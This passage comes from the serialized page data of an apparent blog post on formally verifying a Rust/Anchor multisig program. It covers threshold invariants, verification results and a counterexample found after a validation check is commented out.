}\n",[25664],{"type":22,"tag":257,"props":25665,"children":25666},{"__ignoreMap":7},[25667,25674,25709,25730,25782,25789],{"type":22,"tag":264,"props":25668,"children":25669},{"class":1534,"line":1535},[25670],{"type":22,"tag":264,"props":25671,"children":25672},{"style":1539},[25673],{"type":27,"value":25424},{"type":22,"tag":264,"props":25675,"children":25676},{"class":1534,"line":1545},[25677,25681,25685,25689,25693,25697,25701,25705],{"type":22,"tag":264,"props":25678,"children":25679},{"style":1539},[25680],{"type":27,"value":25432},{"type":22,"tag":264,"props":25682,"children":25683},{"style":4293},[25684],{"type":27,"value":10137},{"type":22,"tag":264,"props":25686,"children":25687},{"style":4722},[25688],{"type":27,"value":15030},{"type":22,"tag":264,"props":25690,"children":25691},{"style":1539},[25692],{"type":27,"value":4390},{"type":22,"tag":264,"props":25694,"children":25695},{"style":4309},[25696],{"type":27,"value":20720},{"type":22,"tag":264,"props":25698,"children":25699},{"style":1539},[25700],{"type":27,"value":24685},{"type":22,"tag":264,"props":25702,"children":25703},{"style":4309},[25704],{"type":27,"value":210},{"type":22,"tag":264,"props":25706,"children":25707},{"style":1539},[25708],{"type":27,"value":25461},{"type":22,"tag":264,"props":25710,"children":25711},{"class":1534,"line":1560},[25712,25716,25721,25725],{"type":22,"tag":264,"props":25713,"children":25714},{"style":4309},[25715],{"type":27,"value":16921},{"type":22,"tag":264,"props":25717,"children":25718},{"style":1539},[25719],{"type":27,"value":25720}," (threshold ",{"type":22,"tag":264,"props":25722,"children":25723},{"style":4309},[25724],{"type":27,"value":16988},{"type":22,"tag":264,"props":25726,"children":25727},{"style":1539},[25728],{"type":27,"value":25729}," 0)\n",{"type":22,"tag":264,"props":25731,"children":25732},{"class":1534,"line":1569},[25733,25737,25741,25745,25749,25753,25757,25762,25766,25770,25774,25778],{"type":22,"tag":264,"props":25734,"children":25735},{"style":4309},[25736],{"type":27,"value":16921},{"type":22,"tag":264,"props":25738,"children":25739},{"style":1539},[25740],{"type":27,"value":24299},{"type":22,"tag":264,"props":25742,"children":25743},{"style":4309},[25744],{"type":27,"value":210},{"type":22,"tag":264,"props":25746,"children":25747},{"style":1539},[25748],{"type":27,"value":22328},{"type":22,"tag":264,"props":25750,"children":25751},{"style":4309},[25752],{"type":27,"value":20720},{"type":22,"tag":264,"props":25754,"children":25755},{"style":1539},[25756],{"type":27,"value":4370},{"type":22,"tag":264,"props":25758,"children":25759},{"style":4722},[25760],{"type":27,"value":25761},"u16",{"type":22,"tag":264,"props":25763,"children":25764},{"style":4309},[25765],{"type":27,"value":4785},{"type":22,"tag":264,"props":25767,"children":25768},{"style":4722},[25769],{"type":27,"value":22346},{"type":22,"tag":264,"props":25771,"children":25772},{"style":4293},[25773],{"type":27,"value":10123},{"type":22,"tag":264,"props":25775,"children":25776},{"style":4722},[25777],{"type":27,"value":15030},{"type":22,"tag":264,"props":25779,"children":25780},{"style":1539},[25781],{"type":27,"value":21018},{"type":22,"tag":264,"props":25783,"children":25784},{"class":1534,"line":1583},[25785],{"type":22,"tag":264,"props":25786,"children":25787},{"style":1539},[25788],{"type":27,"value":21565},{"type":22,"tag":264,"props":25790,"children":25791},{"class":1534,"line":1603},[25792,25796,25800,25804,25808,25812,25816,25820],{"type":22,"tag":264,"props":25793,"children":25794},{"style":4293},[25795],{"type":27,"value":14989},{"type":22,"tag":264,"props":25797,"children":25798},{"style":4293},[25799],{"type":27,"value":14994},{"type":22,"tag":264,"props":25801,"children":25802},{"style":4401},[25803],{"type":27,"value":8405},{"type":22,"tag":264,"props":25805,"children":25806},{"style":1539},[25807],{"type":27,"value":2660},{"type":22,"tag":264,"props":25809,"children":25810},{"style":4309},[25811],{"type":27,"value":10889},{"type":22,"tag":264,"props":25813,"children":25814},{"style":1539},[25815],{"type":27,"value":25301},{"type":22,"tag":264,"props":25817,"children":25818},{"style":4309},[25819],{"type":27,"value":10889},{"type":22,"tag":264,"props":25821,"children":25822},{"style":1539},[25823],{"type":27,"value":10894},{"type":22,"tag":23,"props":25825,"children":25826},{},[25827],{"type":27,"value":25828},"And now we get:",{"type":22,"tag":618,"props":25830,"children":25832},{"code":25831},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[25833],{"type":22,"tag":257,"props":25834,"children":25835},{"__ignoreMap":7},[25836],{"type":27,"value":25831},{"type":22,"tag":23,"props":25838,"children":25839},{},[25840],{"type":27,"value":25841},"🥳🥳🥳",{"type":22,"tag":23,"props":25843,"children":25844},{},[25845],{"type":27,"value":25846},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":22,"tag":618,"props":25848,"children":25850},{"code":25849,"language":4273,"meta":7,"className":4274,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[25851],{"type":22,"tag":257,"props":25852,"children":25853},{"__ignoreMap":7},[25854,25877,25908],{"type":22,"tag":264,"props":25855,"children":25856},{"class":1534,"line":1535},[25857,25861,25865,25869,25873],{"type":22,"tag":264,"props":25858,"children":25859},{"style":4328},[25860],{"type":27,"value":16879},{"type":22,"tag":264,"props":25862,"children":25863},{"style":1549},[25864],{"type":27,"value":24764},{"type":22,"tag":264,"props":25866,"children":25867},{"style":4309},[25868],{"type":27,"value":10014},{"type":22,"tag":264,"props":25870,"children":25871},{"style":4344},[25872],{"type":27,"value":5817},{"type":22,"tag":264,"props":25874,"children":25875},{"style":1539},[25876],{"type":27,"value":4594},{"type":22,"tag":264,"props":25878,"children":25879},{"class":1534,"line":1545},[25880,25884,25888,25892,25896,25900,25904],{"type":22,"tag":264,"props":25881,"children":25882},{"style":4328},[25883],{"type":27,"value":18291},{"type":22,"tag":264,"props":25885,"children":25886},{"style":4401},[25887],{"type":27,"value":24820},{"type":22,"tag":264,"props":25889,"children":25890},{"style":1539},[25891],{"type":27,"value":2660},{"type":22,"tag":264,"props":25893,"children":25894},{"style":4722},[25895],{"type":27,"value":24829},{"type":22,"tag":264,"props":25897,"children":25898},{"style":4309},[25899],{"type":27,"value":4785},{"type":22,"tag":264,"props":25901,"children":25902},{"style":4722},[25903],{"type":27,"value":24838},{"type":22,"tag":264,"props":25905,"children":25906},{"style":1539},[25907],{"type":27,"value":5142},{"type":22,"tag":264,"props":25909,"children":25910},{"class":1534,"line":1560},[25911],{"type":22,"tag":264,"props":25912,"children":25913},{"style":1539},[25914],{"type":27,"value":1692},{"type":22,"tag":23,"props":25916,"children":25917},{},[25918,25920,25926,25928,25933,25935,25940,25942,25947],{"type":27,"value":25919},"In this case this is actually redundant because if ",{"type":22,"tag":257,"props":25921,"children":25923},{"className":25922},[],[25924],{"type":27,"value":25925},"members.len() == 0",{"type":27,"value":25927}," then our threshold would also have to be ",{"type":22,"tag":257,"props":25929,"children":25931},{"className":25930},[],[25932],{"type":27,"value":5334},{"type":27,"value":25934}," (and our ",{"type":22,"tag":257,"props":25936,"children":25938},{"className":25937},[],[25939],{"type":27,"value":24050},{"type":27,"value":25941}," is not allowed to be ",{"type":22,"tag":257,"props":25943,"children":25945},{"className":25944},[],[25946],{"type":27,"value":5334},{"type":27,"value":25948},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":22,"tag":181,"props":25950,"children":25952},{"id":25951},"_2-verify-threshold-requirements",[25953],{"type":27,"value":25954},"2. Verify threshold requirements",{"type":22,"tag":23,"props":25956,"children":25957},{},[25958],{"type":27,"value":25959},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":22,"tag":23,"props":25961,"children":25962},{},[25963,25965,25969],{"type":27,"value":25964},"Unlike the previous example, we want to verify this in ",{"type":22,"tag":1699,"props":25966,"children":25967},{},[25968],{"type":27,"value":10598},{"type":27,"value":25970}," cases. I.e. any instruction that could mutate the multisig account.",{"type":22,"tag":23,"props":25972,"children":25973},{},[25974,25976,25980,25982,25987],{"type":27,"value":25975},"In this case, we want to model this as an ",{"type":22,"tag":1699,"props":25977,"children":25978},{},[25979],{"type":27,"value":23078},{"type":27,"value":25981}," on the ",{"type":22,"tag":257,"props":25983,"children":25985},{"className":25984},[],[25986],{"type":27,"value":24042},{"type":27,"value":25988}," account struct:",{"type":22,"tag":618,"props":25990,"children":25992},{"code":25991,"language":4273,"meta":7,"className":4274,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[25993],{"type":22,"tag":257,"props":25994,"children":25995},{"__ignoreMap":7},[25996,26003,26028,26035,26059,26110,26117,26136,26163,26190,26217,26244,26271,26298,26325,26360],{"type":22,"tag":264,"props":25997,"children":25998},{"class":1534,"line":1535},[25999],{"type":22,"tag":264,"props":26000,"children":26001},{"style":1539},[26002],{"type":27,"value":22077},{"type":22,"tag":264,"props":26004,"children":26005},{"class":1534,"line":1545},[26006,26010,26015,26019,26024],{"type":22,"tag":264,"props":26007,"children":26008},{"style":1539},[26009],{"type":27,"value":24138},{"type":22,"tag":264,"props":26011,"children":26012},{"style":4722},[26013],{"type":27,"value":26014},"Clone",{"type":22,"tag":264,"props":26016,"children":26017},{"style":1539},[26018],{"type":27,"value":4380},{"type":22,"tag":264,"props":26020,"children":26021},{"style":4722},[26022],{"type":27,"value":26023},"Debug",{"type":22,"tag":264,"props":26025,"children":26026},{"style":1539},[26027],{"type":27,"value":21565},{"type":22,"tag":264,"props":26029,"children":26030},{"class":1534,"line":1560},[26031],{"type":22,"tag":264,"props":26032,"children":26033},{"style":1539},[26034],{"type":27,"value":22085},{"type":22,"tag":264,"props":26036,"children":26037},{"class":1534,"line":1569},[26038,26043,26047,26051,26055],{"type":22,"tag":264,"props":26039,"children":26040},{"style":1539},[26041],{"type":27,"value":26042},"    (self",{"type":22,"tag":264,"props":26044,"children":26045},{"style":4309},[26046],{"type":27,"value":210},{"type":22,"tag":264,"props":26048,"children":26049},{"style":1539},[26050],{"type":27,"value":22378},{"type":22,"tag":264,"props":26052,"children":26053},{"style":4309},[26054],{"type":27,"value":11242},{"type":22,"tag":264,"props":26056,"children":26057},{"style":1539},[26058],{"type":27,"value":22387},{"type":22,"tag":264,"props":26060,"children":26061},{"class":1534,"line":1583},[26062,26066,26070,26074,26078,26082,26086,26090,26094,26098,26102,26106],{"type":22,"tag":264,"props":26063,"children":26064},{"style":4309},[26065],{"type":27,"value":16921},{"type":22,"tag":264,"props":26067,"children":26068},{"style":1539},[26069],{"type":27,"value":22311},{"type":22,"tag":264,"props":26071,"children":26072},{"style":4309},[26073],{"type":27,"value":210},{"type":22,"tag":264,"props":26075,"children":26076},{"style":1539},[26077],{"type":27,"value":22378},{"type":22,"tag":264,"props":26079,"children":26080},{"style":4293},[26081],{"type":27,"value":10137},{"type":22,"tag":264,"props":26083,"children":26084},{"style":4722},[26085],{"type":27,"value":15030},{"type":22,"tag":264,"props":26087,"children":26088},{"style":4309},[26089],{"type":27,"value":9491},{"type":22,"tag":264,"props":26091,"children":26092},{"style":1539},[26093],{"type":27,"value":15096},{"type":22,"tag":264,"props":26095,"children":26096},{"style":4309},[26097],{"type":27,"value":210},{"type":22,"tag":264,"props":26099,"children":26100},{"style":1539},[26101],{"type":27,"value":22290},{"type":22,"tag":264,"props":26103,"children":26104},{"style":4309},[26105],{"type":27,"value":210},{"type":22,"tag":264,"props":26107,"children":26108},{"style":1539},[26109],{"type":27,"value":22439},{"type":22,"tag":264,"props":26111,"children":26112},{"class":1534,"line":1603},[26113],{"type":22,"tag":264,"props":26114,"children":26115},{"style":1539},[26116],{"type":27,"value":21565},{"type":22,"tag":264,"props":26118,"children":26119},{"class":1534,"line":1612},[26120,26124,26128,26132],{"type":22,"tag":264,"props":26121,"children":26122},{"style":4293},[26123],{"type":27,"value":14989},{"type":22,"tag":264,"props":26125,"children":26126},{"style":4293},[26127],{"type":27,"value":22458},{"type":22,"tag":264,"props":26129,"children":26130},{"style":4722},[26131],{"type":27,"value":22463},{"type":22,"tag":264,"props":26133,"children":26134},{"style":1539},[26135],{"type":27,"value":4594},{"type":22,"tag":264,"props":26137,"children":26138},{"class":1534,"line":1621},[26139,26143,26147,26151,26155,26159],{"type":22,"tag":264,"props":26140,"children":26141},{"style":4293},[26142],{"type":27,"value":22150},{"type":22,"tag":264,"props":26144,"children":26145},{"style":1549},[26146],{"type":27,"value":22479},{"type":22,"tag":264,"props":26148,"children":26149},{"style":4309},[26150],{"type":27,"value":5785},{"type":22,"tag":264,"props":26152,"children":26153},{"style":4722},[26154],{"type":27,"value":22337},{"type":22,"tag":264,"props":26156,"children":26157},{"style":1539},[26158],{"type":27,"value":22492},{"type":22,"tag":264,"props":26160,"children":26161},{"style":4284},[26162],{"type":27,"value":22497},{"type":22,"tag":264,"props":26164,"children":26165},{"class":1534,"line":1629},[26166,26170,26174,26178,26182,26186],{"type":22,"tag":264,"props":26167,"children":26168},{"style":4293},[26169],{"type":27,"value":22150},{"type":22,"tag":264,"props":26171,"children":26172},{"style":1549},[26173],{"type":27,"value":22509},{"type":22,"tag":264,"props":26175,"children":26176},{"style":4309},[26177],{"type":27,"value":5785},{"type":22,"tag":264,"props":26179,"children":26180},{"style":4722},[26181],{"type":27,"value":22337},{"type":22,"tag":264,"props":26183,"children":26184},{"style":1539},[26185],{"type":27,"value":22522},{"type":22,"tag":264,"props":26187,"children":26188},{"style":4284},[26189],{"type":27,"value":22527},{"type":22,"tag":264,"props":26191,"children":26192},{"class":1534,"line":1642},[26193,26197,26201,26205,26209,26213],{"type":22,"tag":264,"props":26194,"children":26195},{"style":4293},[26196],{"type":27,"value":22150},{"type":22,"tag":264,"props":26198,"children":26199},{"style":1549},[26200],{"type":27,"value":22539},{"type":22,"tag":264,"props":26202,"children":26203},{"style":4309},[26204],{"type":27,"value":5785},{"type":22,"tag":264,"props":26206,"children":26207},{"style":4722},[26208],{"type":27,"value":18852},{"type":22,"tag":264,"props":26210,"children":26211},{"style":1539},[26212],{"type":27,"value":22552},{"type":22,"tag":264,"props":26214,"children":26215},{"style":4284},[26216],{"type":27,"value":22557},{"type":22,"tag":264,"props":26218,"children":26219},{"class":1534,"line":1660},[26220,26224,26228,26232,26236,26240],{"type":22,"tag":264,"props":26221,"children":26222},{"style":4293},[26223],{"type":27,"value":22150},{"type":22,"tag":264,"props":26225,"children":26226},{"style":1549},[26227],{"type":27,"value":22569},{"type":22,"tag":264,"props":26229,"children":26230},{"style":4309},[26231],{"type":27,"value":5785},{"type":22,"tag":264,"props":26233,"children":26234},{"style":4722},[26235],{"type":27,"value":18852},{"type":22,"tag":264,"props":26237,"children":26238},{"style":1539},[26239],{"type":27,"value":22522},{"type":22,"tag":264,"props":26241,"children":26242},{"style":4284},[26243],{"type":27,"value":22586},{"type":22,"tag":264,"props":26245,"children":26246},{"class":1534,"line":1668},[26247,26251,26255,26259,26263,26267],{"type":22,"tag":264,"props":26248,"children":26249},{"style":4293},[26250],{"type":27,"value":22150},{"type":22,"tag":264,"props":26252,"children":26253},{"style":1549},[26254],{"type":27,"value":22598},{"type":22,"tag":264,"props":26256,"children":26257},{"style":4309},[26258],{"type":27,"value":5785},{"type":22,"tag":264,"props":26260,"children":26261},{"style":4722},[26262],{"type":27,"value":15933},{"type":22,"tag":264,"props":26264,"children":26265},{"style":1539},[26266],{"type":27,"value":22611},{"type":22,"tag":264,"props":26268,"children":26269},{"style":4284},[26270],{"type":27,"value":22616},{"type":22,"tag":264,"props":26272,"children":26273},{"class":1534,"line":1677},[26274,26278,26282,26286,26290,26294],{"type":22,"tag":264,"props":26275,"children":26276},{"style":4293},[26277],{"type":27,"value":22150},{"type":22,"tag":264,"props":26279,"children":26280},{"style":1549},[26281],{"type":27,"value":22628},{"type":22,"tag":264,"props":26283,"children":26284},{"style":4309},[26285],{"type":27,"value":5785},{"type":22,"tag":264,"props":26287,"children":26288},{"style":4722},[26289],{"type":27,"value":22164},{"type":22,"tag":264,"props":26291,"children":26292},{"style":1539},[26293],{"type":27,"value":22641},{"type":22,"tag":264,"props":26295,"children":26296},{"style":4284},[26297],{"type":27,"value":22646},{"type":22,"tag":264,"props":26299,"children":26300},{"class":1534,"line":1686},[26301,26305,26309,26313,26317,26321],{"type":22,"tag":264,"props":26302,"children":26303},{"style":4293},[26304],{"type":27,"value":22150},{"type":22,"tag":264,"props":26306,"children":26307},{"style":1549},[26308],{"type":27,"value":22658},{"type":22,"tag":264,"props":26310,"children":26311},{"style":4309},[26312],{"type":27,"value":5785},{"type":22,"tag":264,"props":26314,"children":26315},{"style":4722},[26316],{"type":27,"value":13349},{"type":22,"tag":264,"props":26318,"children":26319},{"style":1539},[26320],{"type":27,"value":4380},{"type":22,"tag":264,"props":26322,"children":26323},{"style":4284},[26324],{"type":27,"value":22675},{"type":22,"tag":264,"props":26326,"children":26327},{"class":1534,"line":4948},[26328,26332,26336,26340,26344,26348,26352,26356],{"type":22,"tag":264,"props":26329,"children":26330},{"style":4293},[26331],{"type":27,"value":22150},{"type":22,"tag":264,"props":26333,"children":26334},{"style":1549},[26335],{"type":27,"value":22687},{"type":22,"tag":264,"props":26337,"children":26338},{"style":4309},[26339],{"type":27,"value":5785},{"type":22,"tag":264,"props":26341,"children":26342},{"style":4722},[26343],{"type":27,"value":22696},{"type":22,"tag":264,"props":26345,"children":26346},{"style":1539},[26347],{"type":27,"value":7097},{"type":22,"tag":264,"props":26349,"children":26350},{"style":4722},[26351],{"type":27,"value":22705},{"type":22,"tag":264,"props":26353,"children":26354},{"style":1539},[26355],{"type":27,"value":22710},{"type":22,"tag":264,"props":26357,"children":26358},{"style":4284},[26359],{"type":27,"value":22715},{"type":22,"tag":264,"props":26361,"children":26362},{"class":1534,"line":4957},[26363],{"type":22,"tag":264,"props":26364,"children":26365},{"style":1539},[26366],{"type":27,"value":1692},{"type":22,"tag":23,"props":26368,"children":26369},{},[26370,26372,26377],{"type":27,"value":26371},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":22,"tag":257,"props":26373,"children":26375},{"className":26374},[],[26376],{"type":27,"value":24042},{"type":27,"value":26378}," object will be checked to ensure that the invariant still holds after modification.",{"type":22,"tag":23,"props":26380,"children":26381},{},[26382,26384,26389],{"type":27,"value":26383},"Let's try this on the ",{"type":22,"tag":257,"props":26385,"children":26387},{"className":26386},[],[26388],{"type":27,"value":24121},{"type":27,"value":26390}," instruction that we've already seen:",{"type":22,"tag":618,"props":26392,"children":26394},{"code":26393},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[26395],{"type":22,"tag":257,"props":26396,"children":26397},{"__ignoreMap":7},[26398],{"type":27,"value":26393},{"type":22,"tag":23,"props":26400,"children":26401},{},[26402,26404,26409],{"type":27,"value":26403},"To ensure this is working, we can test by commenting out this check from ",{"type":22,"tag":257,"props":26405,"children":26407},{"className":26406},[],[26408],{"type":27,"value":24121},{"type":27,"value":5785},{"type":22,"tag":618,"props":26411,"children":26413},{"code":26412,"language":4273,"meta":7,"className":4274,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[26414],{"type":22,"tag":257,"props":26415,"children":26416},{"__ignoreMap":7},[26417,26425,26433],{"type":22,"tag":264,"props":26418,"children":26419},{"class":1534,"line":1535},[26420],{"type":22,"tag":264,"props":26421,"children":26422},{"style":4284},[26423],{"type":27,"value":26424},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":22,"tag":264,"props":26426,"children":26427},{"class":1534,"line":1545},[26428],{"type":22,"tag":264,"props":26429,"children":26430},{"style":4284},[26431],{"type":27,"value":26432},"//     return err!(MsError::InvalidThreshold);\n",{"type":22,"tag":264,"props":26434,"children":26435},{"class":1534,"line":1560},[26436],{"type":22,"tag":264,"props":26437,"children":26438},{"style":4284},[26439],{"type":27,"value":26440},"// }\n",{"type":22,"tag":23,"props":26442,"children":26443},{},[26444],{"type":27,"value":26445},"And run again:",{"type":22,"tag":618,"props":26447,"children":26449},{"code":26448},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[26450],{"type":22,"tag":257,"props":26451,"children":26452},{"__ignoreMap":7},[26453],{"type":27,"value":26448},{"type":22,"tag":23,"props":26455,"children":26456},{},[26457],{"type":27,"value":26458},"We get the following counterexample:",{"type":22,"tag":618,"props":26460,"children":26462},{"code":26461,"language":4273,"meta":7,"className":4274,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[26463],{"type":22,"tag":257,"props":26464,"children":26465},{"__ignoreMap":7},[26466,26477,26497,26517,26537,26557,26577,26597,26617,26637,26658,26679,26687,26694,26724],{"type":22,"tag":264,"props":26467,"children":26468},{"class":1534,"line":1535},[26469,26473],{"type":22,"tag":264,"props":26470,"children":26471},{"style":4722},[26472],{"type":27,"value":18448},{"type":22,"tag":264,"props":26474,"children":26475},{"style":1539},[26476],{"type":27,"value":4594},{"type":22,"tag":264,"props":26478,"children":26479},{"class":1534,"line":1545},[26480,26485,26489,26493],{"type":22,"tag":264,"props":26481,"children":26482},{"style":1549},[26483],{"type":27,"value":26484},"    account",{"type":22,"tag":264,"props":26486,"children":26487},{"style":4309},[26488],{"type":27,"value":5785},{"type":22,"tag":264,"props":26490,"children":26491},{"style":4722},[26492],{"type":27,"value":22463},{"type":22,"tag":264,"props":26494,"children":26495},{"style":1539},[26496],{"type":27,"value":4594},{"type":22,"tag":264,"props":26498,"children":26499},{"class":1534,"line":1560},[26500,26504,26508,26513],{"type":22,"tag":264,"props":26501,"children":26502},{"style":1549},[26503],{"type":27,"value":25138},{"type":22,"tag":264,"props":26505,"children":26506},{"style":4309},[26507],{"type":27,"value":5785},{"type":22,"tag":264,"props":26509,"children":26510},{"style":4344},[26511],{"type":27,"value":26512}," 32768",{"type":22,"tag":264,"props":26514,"children":26515},{"style":1539},[26516],{"type":27,"value":4812},{"type":22,"tag":264,"props":26518,"children":26519},{"class":1534,"line":1569},[26520,26525,26529,26533],{"type":22,"tag":264,"props":26521,"children":26522},{"style":1549},[26523],{"type":27,"value":26524},"        authority_index",{"type":22,"tag":264,"props":26526,"children":26527},{"style":4309},[26528],{"type":27,"value":5785},{"type":22,"tag":264,"props":26530,"children":26531},{"style":4344},[26532],{"type":27,"value":5817},{"type":22,"tag":264,"props":26534,"children":26535},{"style":1539},[26536],{"type":27,"value":4812},{"type":22,"tag":264,"props":26538,"children":26539},{"class":1534,"line":1583},[26540,26545,26549,26553],{"type":22,"tag":264,"props":26541,"children":26542},{"style":1549},[26543],{"type":27,"value":26544},"        transaction_index",{"type":22,"tag":264,"props":26546,"children":26547},{"style":4309},[26548],{"type":27,"value":5785},{"type":22,"tag":264,"props":26550,"children":26551},{"style":4344},[26552],{"type":27,"value":4347},{"type":22,"tag":264,"props":26554,"children":26555},{"style":1539},[26556],{"type":27,"value":4812},{"type":22,"tag":264,"props":26558,"children":26559},{"class":1534,"line":1603},[26560,26565,26569,26573],{"type":22,"tag":264,"props":26561,"children":26562},{"style":1549},[26563],{"type":27,"value":26564},"        ms_change_index",{"type":22,"tag":264,"props":26566,"children":26567},{"style":4309},[26568],{"type":27,"value":5785},{"type":22,"tag":264,"props":26570,"children":26571},{"style":4344},[26572],{"type":27,"value":4347},{"type":22,"tag":264,"props":26574,"children":26575},{"style":1539},[26576],{"type":27,"value":4812},{"type":22,"tag":264,"props":26578,"children":26579},{"class":1534,"line":1612},[26580,26585,26589,26593],{"type":22,"tag":264,"props":26581,"children":26582},{"style":1549},[26583],{"type":27,"value":26584},"        bump",{"type":22,"tag":264,"props":26586,"children":26587},{"style":4309},[26588],{"type":27,"value":5785},{"type":22,"tag":264,"props":26590,"children":26591},{"style":4344},[26592],{"type":27,"value":4347},{"type":22,"tag":264,"props":26594,"children":26595},{"style":1539},[26596],{"type":27,"value":4812},{"type":22,"tag":264,"props":26598,"children":26599},{"class":1534,"line":1621},[26600,26604,26608,26613],{"type":22,"tag":264,"props":26601,"children":26602},{"style":1549},[26603],{"type":27,"value":25151},{"type":22,"tag":264,"props":26605,"children":26606},{"style":4309},[26607],{"type":27,"value":5785},{"type":22,"tag":264,"props":26609,"children":26610},{"style":4309},[26611],{"type":27,"value":26612}," ...",{"type":22,"tag":264,"props":26614,"children":26615},{"style":1539},[26616],{"type":27,"value":4812},{"type":22,"tag":264,"props":26618,"children":26619},{"class":1534,"line":1629},[26620,26625,26629,26633],{"type":22,"tag":264,"props":26621,"children":26622},{"style":1549},[26623],{"type":27,"value":26624},"        allow_external_execute",{"type":22,"tag":264,"props":26626,"children":26627},{"style":4309},[26628],{"type":27,"value":5785},{"type":22,"tag":264,"props":26630,"children":26631},{"style":4293},[26632],{"type":27,"value":10354},{"type":22,"tag":264,"props":26634,"children":26635},{"style":1539},[26636],{"type":27,"value":4812},{"type":22,"tag":264,"props":26638,"children":26639},{"class":1534,"line":1642},[26640,26645,26649,26654],{"type":22,"tag":264,"props":26641,"children":26642},{"style":1549},[26643],{"type":27,"value":26644},"        keys",{"type":22,"tag":264,"props":26646,"children":26647},{"style":4309},[26648],{"type":27,"value":5785},{"type":22,"tag":264,"props":26650,"children":26651},{"style":4722},[26652],{"type":27,"value":26653}," SparseVec",{"type":22,"tag":264,"props":26655,"children":26656},{"style":1539},[26657],{"type":27,"value":4594},{"type":22,"tag":264,"props":26659,"children":26660},{"class":1534,"line":1660},[26661,26666,26670,26675],{"type":22,"tag":264,"props":26662,"children":26663},{"style":1549},[26664],{"type":27,"value":26665},"            size",{"type":22,"tag":264,"props":26667,"children":26668},{"style":4309},[26669],{"type":27,"value":5785},{"type":22,"tag":264,"props":26671,"children":26672},{"style":4344},[26673],{"type":27,"value":26674}," 5112",{"type":22,"tag":264,"props":26676,"children":26677},{"style":1539},[26678],{"type":27,"value":4812},{"type":22,"tag":264,"props":26680,"children":26681},{"class":1534,"line":1668},[26682],{"type":22,"tag":264,"props":26683,"children":26684},{"style":1539},[26685],{"type":27,"value":26686},"        },\n",{"type":22,"tag":264,"props":26688,"children":26689},{"class":1534,"line":1677},[26690],{"type":22,"tag":264,"props":26691,"children":26692},{"style":1539},[26693],{"type":27,"value":1618},{"type":22,"tag":264,"props":26695,"children":26696},{"class":1534,"line":1686},[26697,26702,26706,26711,26715,26719],{"type":22,"tag":264,"props":26698,"children":26699},{"style":1549},[26700],{"type":27,"value":26701},"    info",{"type":22,"tag":264,"props":26703,"children":26704},{"style":4309},[26705],{"type":27,"value":5785},{"type":22,"tag":264,"props":26707,"children":26708},{"style":4722},[26709],{"type":27,"value":26710}," AccountInfo",{"type":22,"tag":264,"props":26712,"children":26713},{"style":1539},[26714],{"type":27,"value":10884},{"type":22,"tag":264,"props":26716,"children":26717},{"style":4309},[26718],{"type":27,"value":10889},{"type":22,"tag":264,"props":26720,"children":26721},{"style":1539},[26722],{"type":27,"value":26723}," },\n",{"type":22,"tag":264,"props":26725,"children":26726},{"class":1534,"line":4948},[26727],{"type":22,"tag":264,"props":26728,"children":26729},{"style":1539},[26730],{"type":27,"value":1692},{"type":22,"tag":23,"props":26732,"children":26733},{},[26734,26736,26741,26743,26748],{"type":27,"value":26735},"Here we see that the ",{"type":22,"tag":257,"props":26737,"children":26739},{"className":26738},[],[26740],{"type":27,"value":24050},{"type":27,"value":26742}," of the newly created ",{"type":22,"tag":257,"props":26744,"children":26746},{"className":26745},[],[26747],{"type":27,"value":24042},{"type":27,"value":26749}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":22,"tag":181,"props":26751,"children":26753},{"id":26752},"verify-requirements-to-remove-a-member",[26754],{"type":27,"value":24080},{"type":22,"tag":23,"props":26756,"children":26757},{},[26758,26760,26765,26766,26771,26773,26779],{"type":27,"value":26759},"Now that we've seen both ",{"type":22,"tag":257,"props":26761,"children":26763},{"className":26762},[],[26764],{"type":27,"value":21461},{"type":27,"value":12290},{"type":22,"tag":257,"props":26767,"children":26769},{"className":26768},[],[26770],{"type":27,"value":23078},{"type":27,"value":26772}," let's take a look at the ",{"type":22,"tag":257,"props":26774,"children":26776},{"className":26775},[],[26777],{"type":27,"value":26778},"remove_member",{"type":27,"value":26780}," function:",{"type":22,"tag":618,"props":26782,"children":26784},{"code":26783,"language":4273,"meta":7,"className":4274,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = 